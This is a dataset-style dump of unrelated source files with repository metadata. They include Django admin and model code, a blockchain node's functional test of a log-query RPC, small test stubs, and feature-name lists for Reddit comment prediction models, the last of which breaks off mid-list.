0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
5
7c8251f08dd6170aba24368613db1ce3ba5dfcbf
76
py
Python
utils/__init__.py
closest-git/QuantumFold
2dc6afa96cdee91b58f66543b440a2d7a8d32a8a
[ "Apache-2.0" ]
null
null
null
utils/__init__.py
closest-git/QuantumFold
2dc6afa96cdee91b58f66543b440a2d7a8d32a8a
[ "Apache-2.0" ]
null
null
null
utils/__init__.py
closest-git/QuantumFold
2dc6afa96cdee91b58f66543b440a2d7a8d32a8a
[ "Apache-2.0" ]
null
null
null
''' @Author: Yingshi Chen @Date: 2020-03-20 17:39:56 @ # Description: '''
9.5
26
0.605263
11
76
4.181818
1
0
0
0
0
0
0
0
0
0
0
0.222222
0.171053
76
7
27
10.857143
0.507937
0.868421
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
7cbd035d287d1bb23e58fd43e5a32ecf31f395ad
149
py
Python
eCommerce-master/src/analytics/admin.py
felipebrigo/Python-projects
a0ba1f0f84d89fc9d5125c137046c574bc99d86f
[ "MIT" ]
null
null
null
eCommerce-master/src/analytics/admin.py
felipebrigo/Python-projects
a0ba1f0f84d89fc9d5125c137046c574bc99d86f
[ "MIT" ]
19
2020-07-14T07:04:43.000Z
2022-03-12T00:41:14.000Z
src/analytics/admin.py
JulioCantu/IndiStore
723c4ced800d43ffbfd34dc0ff7649b628008416
[ "bzip2-1.0.6" ]
1
2020-12-14T19:57:25.000Z
2020-12-14T19:57:25.000Z
from django.contrib import admin from .models import ObjectViewed, UserSession admin.site.register(ObjectViewed) admin.site.register(UserSession)
18.625
45
0.832215
18
149
6.888889
0.555556
0.145161
0.274194
0
0
0
0
0
0
0
0
0
0.09396
149
8
46
18.625
0.918519
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
7cd1af1e1b9301d20097266acb84f0e96374a2be
7,709
py
Python
test/functional/estx_waitforlogs.py
estxcoin/estcore
4398b1d944373fe25668469966fa2660da454279
[ "MIT" ]
1
2019-09-17T07:53:52.000Z
2019-09-17T07:53:52.000Z
test/functional/estx_waitforlogs.py
estxcoin/estcore
4398b1d944373fe25668469966fa2660da454279
[ "MIT" ]
null
null
null
test/functional/estx_waitforlogs.py
estxcoin/estcore
4398b1d944373fe25668469966fa2660da454279
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2015-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * from test_framework.script import * from test_framework.mininode import * import sys RPC_INVALID_PARAMETER = -8 class EstxRPCWaitforlogs(BitcoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 self.extra_args = [["-logevents=1"]] def skip_test_if_missing_module(self): self.skip_if_no_wallet() def create_contracts_with_logs(self): contract_addresses = [] send_result = [] block_hashes = [] self.nodes[0].generate(600) contract_address = self.nodes[0].createcontract("6060604052600d600055341561001457600080fd5b61017e806100236000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063027c1aaf1461004e5780635b9af12b14610058575b005b61005661008f565b005b341561006357600080fd5b61007960048080359060200190919050506100a1565b6040518082815260200191505060405180910390f35b60026000808282540292505081905550565b60007fc5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f282600054016000548460405180848152602001838152602001828152602001935050505060405180910390a17fc5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f282600054016000548460405180848152602001838152602001828152602001935050505060405180910390a1816000540160008190555060005490509190505600a165627a7a7230582015732bfa66bdede47ecc05446bf4c1e8ed047efac25478cb13b795887df70f290029")['address'] self.nodes[0].generate(1) contract_addresses.append(contract_address) send_result.append(self.nodes[0].sendtocontract(contract_address,"5b9af12b")) block_hashes.append(self.nodes[0].generate(1)) contract_address = self.nodes[0].createcontract("6060604052341561000f57600080fd5b61029b8061001e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806394e8767d14610067578063b717cfe6146100a6578063d3b57be9146100bb578063f7e52d58146100d0575b600080fd5b341561007257600080fd5b61008860048080359060200190919050506100e5565b60405180826000191660001916815260200191505060405180910390f35b34156100b157600080fd5b6100b961018e565b005b34156100c657600080fd5b6100ce6101a9565b005b34156100db57600080fd5b6100e36101b3565b005b600080821415610117577f30000000000000000000000000000000000000000000000000000000000000009050610186565b5b600082111561018557610100816001900481151561013257fe5b0460010290507f01000000000000000000000000000000000000000000000000000000000000006030600a8481151561016757fe5b06010260010281179050600a8281151561017d57fe5b049150610118565b5b809050919050565b60008081548092919060010191905055506101a76101b3565b565b6101b161018e565b565b7f746f7069632034000000000000000000000000000000000000000000000000007f746f7069632033000000000000000000000000000000000000000000000000007f746f7069632032000000000000000000000000000000000000000000000000007f746f70696320310000000000000000000000000000000000000000000000000060405180807f3700000000000000000000000000000000000000000000000000000000000000815250600101905060405180910390a45600a165627a7a72305820262764914338437fc49c9f752503904820534b24092308961bc10cd851985ae50029")['address'] self.nodes[0].generate(1) contract_addresses.append(contract_address) send_result.append(self.nodes[0].sendtocontract(contract_address,"d3b57be9")) block_hashes.append(self.nodes[0].generate(1)) return contract_addresses, send_result, block_hashes def check_topics(self, contract_addresses,block_hashes,send_result): filters = {} address = [] address.append(contract_addresses[0]) filters["addresses"] = address topic = [] topic.append("c5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f2") filters["topics"] = topic ret = self.nodes[0].waitforlogs(602,605,filters) assert_equal(ret['entries'][0]['blockHash'], block_hashes[0][0]) assert_equal(ret['entries'][0]['blockNumber'], 602) assert_equal(ret['entries'][0]['transactionHash'], send_result[0]['txid']) assert_equal(ret['entries'][0]['transactionIndex'], 1) assert_equal(ret['entries'][0]['from'], send_result[0]['hash160']) assert_equal(ret['entries'][0]['to'], contract_addresses[0]) assert_equal(ret['entries'][0]['gasUsed'], 30991) assert_equal(ret['entries'][0]['contractAddress'], contract_addresses[0]) assert_equal(ret['entries'][0]['topics'], ["c5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f2"]) assert_equal(ret['entries'][0]['data'], "000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000d0000000000000000000000000000000000000000000000000000000000000000") assert_equal(ret['count'], 2) assert_equal(ret['nextblock'], 606) topic.clear() topic.append("c5c442325655248f6bccf5c6181738f8755524172cea2a8bd1e38e43f833e7f3") #error topics ret = self.nodes[0].waitforlogs(602,605,filters) assert_equal(ret,{"entries":[],"count":0,"nextblock":606}) def check_waitforlogs(self, contract_addresses, send_result, block_hashes): self.nodes[0].sendtocontract(contract_addresses[1],"d3b57be9") self.nodes[0].generate(10) ret = self.nodes[0].waitforlogs(604,604) assert_equal(ret['entries'][0]['blockHash'], block_hashes[1][0]) assert_equal(ret['entries'][0]['blockNumber'], 604) assert_equal(ret['entries'][0]['transactionHash'], send_result[1]['txid']) assert_equal(ret['entries'][0]['transactionIndex'], 1) assert_equal(ret['entries'][0]['from'], send_result[1]['hash160']) assert_equal(ret['entries'][0]['to'], contract_addresses[1]) assert_equal(ret['entries'][0]['gasUsed'], 43679) assert_equal(ret['entries'][0]['contractAddress'], contract_addresses[1]) assert_equal(ret['entries'][0]['topics'], ["746f706963203100000000000000000000000000000000000000000000000000","746f706963203200000000000000000000000000000000000000000000000000" ,"746f706963203300000000000000000000000000000000000000000000000000","746f706963203400000000000000000000000000000000000000000000000000"]) assert_equal(ret['entries'][0]['data'], "37") assert_equal(ret['count'], 1) assert_equal(ret['nextblock'], 605) try: self.nodes[0].waitforlogs(0,0) except JSONRPCException as exp: assert_equal(exp.error["code"], RPC_INVALID_PARAMETER) try: self.nodes[0].waitforlogs(1,0) except JSONRPCException as exp: assert_equal(exp.error["code"], RPC_INVALID_PARAMETER) try: self.nodes[0].waitforlogs(200,100) except JSONRPCException as exp: assert_equal(exp.error["code"], RPC_INVALID_PARAMETER) def run_test(self): contract_addresses, send_result, block_hashes = self.create_contracts_with_logs() self.check_waitforlogs(contract_addresses, send_result, block_hashes) self.check_topics(contract_addresses, block_hashes, send_result) self.stop_nodes() self.start_nodes() #start node again self.check_topics(contract_addresses, block_hashes,send_result) if __name__ == '__main__': EstxRPCWaitforlogs().main()
61.672
1,470
0.778441
580
7,709
10.132759
0.239655
0.052408
0.059554
0.075038
0.342692
0.322273
0.281776
0.26374
0.182916
0.148545
0
0.404854
0.12881
7,709
124
1,471
62.169355
0.47022
0.030354
0
0.228261
0
0
0.447717
0.383987
0
1
0
0
0.304348
1
0.065217
false
0
0.054348
0
0.141304
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
1
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
5
6b043effed312db3a1c28301c7c2c5f85327322f
2,879
py
Python
mpi/models.py
MaldoCarre/SIIEC-WEB
871479792d19e566d05335376c62d3df9fbcb09f
[ "MIT" ]
null
null
null
mpi/models.py
MaldoCarre/SIIEC-WEB
871479792d19e566d05335376c62d3df9fbcb09f
[ "MIT" ]
null
null
null
mpi/models.py
MaldoCarre/SIIEC-WEB
871479792d19e566d05335376c62d3df9fbcb09f
[ "MIT" ]
null
null
null
from django.db import models from core.models import Pacientes # Create your models here. class Mpi(models.Model): id_mpi = models.AutoField(primary_key=True) paciente_mpi = models.ForeignKey(Pacientes,null=True, on_delete=models.CASCADE) s1_rest = models.IntegerField(null=True) s2_rest = models.IntegerField(null=True) s3_rest = models.IntegerField(null=True) s4_rest = models.IntegerField(null=True) s5_rest = models.IntegerField(null=True) s6_rest = models.IntegerField(null=True) s7_rest = models.IntegerField(null=True) s8_rest = models.IntegerField(null=True) s9_rest = models.IntegerField(null=True) s10_rest = models.IntegerField(null=True) s11_rest = models.IntegerField(null=True) s12_rest = models.IntegerField(null=True) s13_rest = models.IntegerField(null=True) s14_rest = models.IntegerField(null=True) s15_rest = models.IntegerField(null=True) s16_rest = models.IntegerField(null=True) s17_rest = models.IntegerField(null=True) #fin rest s1_stress = models.IntegerField(null=True) s2_stress = models.IntegerField(null=True) s3_stress = models.IntegerField(null=True) s4_stress = models.IntegerField(null=True) s5_stress = models.IntegerField(null=True) s6_stress = models.IntegerField(null=True) s7_stress = models.IntegerField(null=True) s8_stress = models.IntegerField(null=True) s9_stress = models.IntegerField(null=True) s10_stress = models.IntegerField(null=True) s11_stress = models.IntegerField(null=True) s12_stress = models.IntegerField(null=True) s13_stress = models.IntegerField(null=True) s14_stress = models.IntegerField(null=True) s15_stress = models.IntegerField(null=True) s16_stress = models.IntegerField(null=True) s17_stress = models.IntegerField(null=True) #fin stress s1_dif = models.IntegerField(null=True) s2_dif = models.IntegerField(null=True) s3_dif = models.IntegerField(null=True) s4_dif = models.IntegerField(null=True) s5_dif = models.IntegerField(null=True) s6_dif = models.IntegerField(null=True) s7_dif = models.IntegerField(null=True) s8_dif = models.IntegerField(null=True) s9_dif = models.IntegerField(null=True) s10_dif = models.IntegerField(null=True) s11_dif = models.IntegerField(null=True) s12_dif = models.IntegerField(null=True) s13_dif = models.IntegerField(null=True) s14_dif = models.IntegerField(null=True) s15_dif = models.IntegerField(null=True) s16_dif = models.IntegerField(null=True) s17_dif = models.IntegerField(null=True) #fin dif ssr=models.FloatField(null=True) sss=models.FloatField(null=True) ssd=models.FloatField(null=True) cargarchivo=models.FileField(upload_to="misCargas",max_length=150,null=True,blank=True)
44.984375
91
0.728031
376
2,879
5.422872
0.156915
0.219716
0.55027
0.650319
0.821972
0
0
0
0
0
0
0.032446
0.164988
2,879
64
91
44.984375
0.815724
0.01702
0
0
0
0
0.003257
0
0
0
0
0
0
1
0
false
0
0.033333
0
1
0
0
0
0
null
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
5
862bcbc5b750b68be436cdf6d6241a123b373850
172
py
Python
students/K33402/Shutov_Daniil/LR3/cities/admin.py
danyashutov/ITMO_ICT_WebDevelopment_2021-2022
a6b709e38f10c807bde7f85cc4457676a7236380
[ "MIT" ]
null
null
null
students/K33402/Shutov_Daniil/LR3/cities/admin.py
danyashutov/ITMO_ICT_WebDevelopment_2021-2022
a6b709e38f10c807bde7f85cc4457676a7236380
[ "MIT" ]
null
null
null
students/K33402/Shutov_Daniil/LR3/cities/admin.py
danyashutov/ITMO_ICT_WebDevelopment_2021-2022
a6b709e38f10c807bde7f85cc4457676a7236380
[ "MIT" ]
null
null
null
from django.contrib import admin from cities.models import City, CityPreference # Register your models here. admin.site.register(City) admin.site.register(CityPreference)
24.571429
46
0.825581
23
172
6.173913
0.565217
0.126761
0.239437
0
0
0
0
0
0
0
0
0
0.098837
172
6
47
28.666667
0.916129
0.151163
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
869f9c8fc10e0cf36eeafd45b26abe78332f33f7
159
py
Python
airbyte-integrations/connectors/source-shopify/integration_tests/integration_test.py
onaio/airbyte
38302e82a25f1b66742c3febfbff0668556920f2
[ "MIT" ]
22
2020-08-27T00:47:20.000Z
2020-09-17T15:39:39.000Z
airbyte-integrations/connectors/source-shopify/integration_tests/integration_test.py
onaio/airbyte
38302e82a25f1b66742c3febfbff0668556920f2
[ "MIT" ]
116
2020-08-27T01:11:27.000Z
2020-09-19T02:47:52.000Z
airbyte-integrations/connectors/source-shopify/integration_tests/integration_test.py
onaio/airbyte
38302e82a25f1b66742c3febfbff0668556920f2
[ "MIT" ]
1
2020-09-15T06:10:01.000Z
2020-09-15T06:10:01.000Z
# # Copyright (c) 2022 Airbyte, Inc., all rights reserved. # def test_dummy_test(): """this is the dummy test to pass integration tests step""" pass
17.666667
63
0.672956
23
159
4.565217
0.826087
0.171429
0
0
0
0
0
0
0
0
0
0.032
0.213836
159
8
64
19.875
0.808
0.685535
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0.5
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
0
0
0
0
0
5
86d4acd26b5f9510409a62db45fa8c1f26201c2d
42
py
Python
env/lib/python3.6/site-packages/dal_genericm2m/__init__.py
anthowen/duplify
846d01c1b21230937fdf0281b0cf8c0b08a8c24e
[ "MIT" ]
1,368
2015-01-03T09:52:33.000Z
2022-03-27T09:06:00.000Z
env/lib/python3.6/site-packages/dal_genericm2m/__init__.py
anthowen/duplify
846d01c1b21230937fdf0281b0cf8c0b08a8c24e
[ "MIT" ]
919
2015-01-01T05:17:48.000Z
2022-03-25T22:41:14.000Z
env/lib/python3.6/site-packages/dal_genericm2m/__init__.py
anthowen/duplify
846d01c1b21230937fdf0281b0cf8c0b08a8c24e
[ "MIT" ]
469
2015-01-19T21:40:30.000Z
2022-03-26T17:27:40.000Z
"""django-generic-m2m support for DAL."""
21
41
0.690476
6
42
4.833333
1
0
0
0
0
0
0
0
0
0
0
0.026316
0.095238
42
1
42
42
0.736842
0.833333
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
86de10bb9e0d4554657cfcbefeca48d0e9bda91f
57,762
py
Python
src/models/__init__.py
davidjurgens/prosocial-conversation-forecasting
473496d59e37a78d6246bf0f8eba3571114e29d2
[ "BSD-2-Clause" ]
3
2021-05-03T02:22:08.000Z
2021-11-03T17:50:30.000Z
src/models/__init__.py
davidjurgens/prosocial-conversation-forecasting
473496d59e37a78d6246bf0f8eba3571114e29d2
[ "BSD-2-Clause" ]
null
null
null
src/models/__init__.py
davidjurgens/prosocial-conversation-forecasting
473496d59e37a78d6246bf0f8eba3571114e29d2
[ "BSD-2-Clause" ]
null
null
null
FEATURES = [ 'Post_Top_comment_Jaccard_sim', 'Post_Top_comment_topic_cosine_similarity', 'Post_text', 'Post_topic0', 'Post_topic1', 'Post_topic10', 'Post_topic11', 'Post_topic12', 'Post_topic13', 'Post_topic14', 'Post_topic15', 'Post_topic16', 'Post_topic17', 'Post_topic18', 'Post_topic2', 'Post_topic3', 'Post_topic4', 'Post_topic5', 'Post_topic6', 'Post_topic7', 'Post_topic8', 'Post_topic9', 'Top_comment_advice_count', 'Top_comment_agreement_value', 'Top_comment_and_Post_time_difference', 'Top_comment_author', 'Top_comment_author_gender_value', 'Top_comment_compliments_count', 'Top_comment_day', 'Top_comment_day_of_week', 'Top_comment_fundraising_URL_count', 'Top_comment_gratitude_count', 'Top_comment_hour', 'Top_comment_i_language_count', 'Top_comment_informative_URL_count', 'Top_comment_informative_count', 'Top_comment_laughter_count', 'Top_comment_link_count', 'Top_comment_mispellings', 'Top_comment_polarity', 'Top_comment_politeness_value', 'Top_comment_readability', 'Top_comment_score', 'Top_comment_subjectivity', 'Top_comment_subreddit', 'Top_comment_support_value', 'Top_comment_text', 'Top_comment_topic0', 'Top_comment_topic1', 'Top_comment_topic10', 'Top_comment_topic11', 'Top_comment_topic12', 'Top_comment_topic13', 'Top_comment_topic14', 'Top_comment_topic15', 'Top_comment_topic16', 'Top_comment_topic17', 'Top_comment_topic18', 'Top_comment_topic2', 'Top_comment_topic3', 'Top_comment_topic4', 'Top_comment_topic5', 'Top_comment_topic6', 'Top_comment_topic7', 'Top_comment_topic8', 'Top_comment_topic9', 'Top_comment_tuned_toxicity', 'Top_comment_untuned_toxicity', 'Top_comment_word_count' ] # 69 features ALBERT_META_FEATURES = [ 'Post_Top_comment_Jaccard_sim', 'Post_Top_comment_topic_cosine_similarity', 'Post_topic0', 'Post_topic1', 'Post_topic10', 'Post_topic11', 'Post_topic12', 'Post_topic13', 'Post_topic14', 'Post_topic15', 'Post_topic16', 'Post_topic17', 'Post_topic18', 'Post_topic2', 'Post_topic3', 'Post_topic4', 'Post_topic5', 'Post_topic6', 'Post_topic7', 'Post_topic8', 'Post_topic9', 'Top_comment_advice_count', 'Top_comment_agreement_value', 'Top_comment_and_Post_time_difference', 'Top_comment_author_gender_value', 'Top_comment_compliments_count', 'Top_comment_day', 'Top_comment_day_of_week', 'Top_comment_fundraising_URL_count', 'Top_comment_gratitude_count', 'Top_comment_hour', 'Top_comment_i_language_count', 'Top_comment_informative_URL_count', 'Top_comment_informative_count', 'Top_comment_laughter_count', 'Top_comment_link_count', 'Top_comment_mispellings', 'Top_comment_polarity', 'Top_comment_politeness_value', 'Top_comment_readability', 'Top_comment_score', 'Top_comment_subjectivity', 'Top_comment_support_value', 'Top_comment_topic0', 'Top_comment_topic1', 'Top_comment_topic10', 'Top_comment_topic11', 'Top_comment_topic12', 'Top_comment_topic13', 'Top_comment_topic14', 'Top_comment_topic15', 'Top_comment_topic16', 'Top_comment_topic17', 'Top_comment_topic18', 'Top_comment_topic2', 'Top_comment_topic3', 'Top_comment_topic4', 'Top_comment_topic5', 'Top_comment_topic6', 'Top_comment_topic7', 'Top_comment_topic8', 'Top_comment_topic9', 'Top_comment_tuned_toxicity', 'Top_comment_untuned_toxicity', 'Top_comment_word_count' ] # 65 features: it does not include 'Top_comment_author', 'Top_comment_subreddit', 'Top_comment_text', 'Post_text' XGBOOST_FEATURES = ['Top_comment_and_Post_time_difference', 'Top_comment_day', 'Top_comment_day_of_week', 'Top_comment_hour', 'Top_comment_link_count', 'Top_comment_score', 'Top_comment_mispellings', 'Top_comment_author_gender_value', 'Top_comment_agreement_value', 'Top_comment_support_value', 'Top_comment_politeness_value', 'Top_comment_informative_count', 'Top_comment_advice_count', 'Top_comment_laughter_count', 'Top_comment_gratitude_count', 'Top_comment_fundraising_URL_count', 'Top_comment_informative_URL_count', 'Top_comment_i_language_count', 'Top_comment_compliments_count', 'Top_comment_tuned_toxicity', 'Top_comment_untuned_toxicity', 'Top_comment_topic0', 'Top_comment_topic1', 'Top_comment_topic2', 'Top_comment_topic3', 'Top_comment_topic4', 'Top_comment_topic5', 'Top_comment_topic6', 'Top_comment_topic7', 'Top_comment_topic8', 'Top_comment_topic9', 'Top_comment_topic10', 'Top_comment_topic11', 'Top_comment_topic12', 'Top_comment_topic13', 'Top_comment_topic14', 'Top_comment_topic15', 'Top_comment_topic16', 'Top_comment_topic17', 'Top_comment_topic18', 'Post_topic0', 'Post_topic1', 'Post_topic2', 'Post_topic3', 'Post_topic4', 'Post_topic5', 'Post_topic6', 'Post_topic7', 'Post_topic8', 'Post_topic9', 'Post_topic10', 'Post_topic11', 'Post_topic12', 'Post_topic13', 'Post_topic14', 'Post_topic15', 'Post_topic16', 'Post_topic17', 'Post_topic18', 'Post_Top_comment_topic_cosine_similarity', 'Post_Top_comment_Jaccard_sim', 'Top_comment_polarity', 'Top_comment_subjectivity', 'Top_comment_word_count', 'Top_comment_readability', 'Top_comment_unigram0', 'Top_comment_unigram1', 'Top_comment_unigram2', 'Top_comment_unigram3', 'Top_comment_unigram4', 'Top_comment_unigram5', 'Top_comment_unigram6', 'Top_comment_unigram7', 'Top_comment_unigram8', 'Top_comment_unigram9', 'Top_comment_unigram10', 'Top_comment_unigram11', 'Top_comment_unigram12', 'Top_comment_unigram13', 'Top_comment_unigram14', 'Top_comment_unigram15', 'Top_comment_unigram16', 'Top_comment_unigram17', 'Top_comment_unigram18', 'Top_comment_unigram19', 'Top_comment_unigram20', 'Top_comment_unigram21', 'Top_comment_unigram22', 'Top_comment_unigram23', 'Top_comment_unigram24', 'Top_comment_unigram25', 'Top_comment_unigram26', 'Top_comment_unigram27', 'Top_comment_unigram28', 'Top_comment_unigram29', 'Top_comment_unigram30', 'Top_comment_unigram31', 'Top_comment_unigram32', 'Top_comment_unigram33', 'Top_comment_unigram34', 'Top_comment_unigram35', 'Top_comment_unigram36', 'Top_comment_unigram37', 'Top_comment_unigram38', 'Top_comment_unigram39', 'Top_comment_unigram40', 'Top_comment_unigram41', 'Top_comment_unigram42', 'Top_comment_unigram43', 'Top_comment_unigram44', 'Top_comment_unigram45', 'Top_comment_unigram46', 'Top_comment_unigram47', 'Top_comment_unigram48', 'Top_comment_unigram49', 'Top_comment_unigram50', 'Top_comment_unigram51', 'Top_comment_unigram52', 'Top_comment_unigram53', 'Top_comment_unigram54', 'Top_comment_unigram55', 'Top_comment_unigram56', 'Top_comment_unigram57', 'Top_comment_unigram58', 'Top_comment_unigram59', 'Top_comment_unigram60', 'Top_comment_unigram61', 'Top_comment_unigram62', 'Top_comment_unigram63', 'Top_comment_unigram64', 'Top_comment_unigram65', 'Top_comment_unigram66', 'Top_comment_unigram67', 'Top_comment_unigram68', 'Top_comment_unigram69', 'Top_comment_unigram70', 'Top_comment_unigram71', 'Top_comment_unigram72', 'Top_comment_unigram73', 'Top_comment_unigram74', 'Top_comment_unigram75', 'Top_comment_unigram76', 'Top_comment_unigram77', 'Top_comment_unigram78', 'Top_comment_unigram79', 'Top_comment_unigram80', 'Top_comment_unigram81', 'Top_comment_unigram82', 'Top_comment_unigram83', 'Top_comment_unigram84', 'Top_comment_unigram85', 'Top_comment_unigram86', 'Top_comment_unigram87', 'Top_comment_unigram88', 'Top_comment_unigram89', 'Top_comment_unigram90', 'Top_comment_unigram91', 'Top_comment_unigram92', 'Top_comment_unigram93', 'Top_comment_unigram94', 'Top_comment_unigram95', 'Top_comment_unigram96', 'Top_comment_unigram97', 'Top_comment_unigram98', 'Top_comment_unigram99', 'Top_comment_unigram100', 'Top_comment_unigram101', 'Top_comment_unigram102', 'Top_comment_unigram103', 'Top_comment_unigram104', 'Top_comment_unigram105', 'Top_comment_unigram106', 'Top_comment_unigram107', 'Top_comment_unigram108', 'Top_comment_unigram109', 'Top_comment_unigram110', 'Top_comment_unigram111', 'Top_comment_unigram112', 'Top_comment_unigram113', 'Top_comment_unigram114', 'Top_comment_unigram115', 'Top_comment_unigram116', 'Top_comment_unigram117', 'Top_comment_unigram118', 'Top_comment_unigram119', 'Top_comment_unigram120', 'Top_comment_unigram121', 'Top_comment_unigram122', 'Top_comment_unigram123', 'Top_comment_unigram124', 'Top_comment_unigram125', 'Top_comment_unigram126', 'Top_comment_unigram127', 'Top_comment_unigram128', 'Top_comment_unigram129', 'Top_comment_unigram130', 'Top_comment_unigram131', 'Top_comment_unigram132', 'Top_comment_unigram133', 'Top_comment_unigram134', 'Top_comment_unigram135', 'Top_comment_unigram136', 'Top_comment_unigram137', 'Top_comment_unigram138', 'Top_comment_unigram139', 'Top_comment_unigram140', 'Top_comment_unigram141', 'Top_comment_unigram142', 'Top_comment_unigram143', 'Top_comment_unigram144', 'Top_comment_unigram145', 'Top_comment_unigram146', 'Top_comment_unigram147', 'Top_comment_unigram148', 'Top_comment_unigram149', 'Top_comment_unigram150', 'Top_comment_unigram151', 'Top_comment_unigram152', 'Top_comment_unigram153', 'Top_comment_unigram154', 'Top_comment_unigram155', 'Top_comment_unigram156', 'Top_comment_unigram157', 'Top_comment_unigram158', 'Top_comment_unigram159', 'Top_comment_unigram160', 'Top_comment_unigram161', 'Top_comment_unigram162', 'Top_comment_unigram163', 'Top_comment_unigram164', 'Top_comment_unigram165', 'Top_comment_unigram166', 'Top_comment_unigram167', 'Top_comment_unigram168', 'Top_comment_unigram169', 'Top_comment_unigram170', 'Top_comment_unigram171', 'Top_comment_unigram172', 'Top_comment_unigram173', 'Top_comment_unigram174', 'Top_comment_unigram175', 'Top_comment_unigram176', 'Top_comment_unigram177', 'Top_comment_unigram178', 'Top_comment_unigram179', 'Top_comment_unigram180', 'Top_comment_unigram181', 'Top_comment_unigram182', 'Top_comment_unigram183', 'Top_comment_unigram184', 'Top_comment_unigram185', 'Top_comment_unigram186', 'Top_comment_unigram187', 'Top_comment_unigram188', 'Top_comment_unigram189', 'Top_comment_unigram190', 'Top_comment_unigram191', 'Top_comment_unigram192', 'Top_comment_unigram193', 'Top_comment_unigram194', 'Top_comment_unigram195', 'Top_comment_unigram196', 'Top_comment_unigram197', 'Top_comment_unigram198', 'Top_comment_unigram199', 'Top_comment_unigram200', 'Top_comment_unigram201', 'Top_comment_unigram202', 'Top_comment_unigram203', 'Top_comment_unigram204', 'Top_comment_unigram205', 'Top_comment_unigram206', 'Top_comment_unigram207', 'Top_comment_unigram208', 'Top_comment_unigram209', 'Top_comment_unigram210', 'Top_comment_unigram211', 'Top_comment_unigram212', 'Top_comment_unigram213', 'Top_comment_unigram214', 'Top_comment_unigram215', 'Top_comment_unigram216', 'Top_comment_unigram217', 'Top_comment_unigram218', 'Top_comment_unigram219', 'Top_comment_unigram220', 'Top_comment_unigram221', 'Top_comment_unigram222', 'Top_comment_unigram223', 'Top_comment_unigram224', 'Top_comment_unigram225', 'Top_comment_unigram226', 'Top_comment_unigram227', 'Top_comment_unigram228', 'Top_comment_unigram229', 'Top_comment_unigram230', 'Top_comment_unigram231', 'Top_comment_unigram232', 'Top_comment_unigram233', 'Top_comment_unigram234', 'Top_comment_unigram235', 'Top_comment_unigram236', 'Top_comment_unigram237', 'Top_comment_unigram238', 'Top_comment_unigram239', 'Top_comment_unigram240', 'Top_comment_unigram241', 'Top_comment_unigram242', 'Top_comment_unigram243', 'Top_comment_unigram244', 'Top_comment_unigram245', 'Top_comment_unigram246', 'Top_comment_unigram247', 'Top_comment_unigram248', 'Top_comment_unigram249', 'Top_comment_unigram250', 'Top_comment_unigram251', 'Top_comment_unigram252', 'Top_comment_unigram253', 'Top_comment_unigram254', 'Top_comment_unigram255', 'Top_comment_unigram256', 'Top_comment_unigram257', 'Top_comment_unigram258', 'Top_comment_unigram259', 'Top_comment_unigram260', 'Top_comment_unigram261', 'Top_comment_unigram262', 'Top_comment_unigram263', 'Top_comment_unigram264', 'Top_comment_unigram265', 'Top_comment_unigram266', 'Top_comment_unigram267', 'Top_comment_unigram268', 'Top_comment_unigram269', 'Top_comment_unigram270', 'Top_comment_unigram271', 'Top_comment_unigram272', 'Top_comment_unigram273', 'Top_comment_unigram274', 'Top_comment_unigram275', 'Top_comment_unigram276', 'Top_comment_unigram277', 'Top_comment_unigram278', 'Top_comment_unigram279', 'Top_comment_unigram280', 'Top_comment_unigram281', 'Top_comment_unigram282', 'Top_comment_unigram283', 'Top_comment_unigram284', 'Top_comment_unigram285', 'Top_comment_unigram286', 'Top_comment_unigram287', 'Top_comment_unigram288', 'Top_comment_unigram289', 'Top_comment_unigram290', 'Top_comment_unigram291', 'Top_comment_unigram292', 'Top_comment_unigram293', 'Top_comment_unigram294', 'Top_comment_unigram295', 'Top_comment_unigram296', 'Top_comment_unigram297', 'Top_comment_unigram298', 'Top_comment_unigram299', 'Top_comment_unigram300', 'Top_comment_unigram301', 'Top_comment_unigram302', 'Top_comment_unigram303', 'Top_comment_unigram304', 'Top_comment_unigram305', 'Top_comment_unigram306', 'Top_comment_unigram307', 'Top_comment_unigram308', 'Top_comment_unigram309', 'Top_comment_unigram310', 'Top_comment_unigram311', 'Top_comment_unigram312', 'Top_comment_unigram313', 'Top_comment_unigram314', 'Top_comment_unigram315', 'Top_comment_unigram316', 'Top_comment_unigram317', 'Top_comment_unigram318', 'Top_comment_unigram319', 'Top_comment_unigram320', 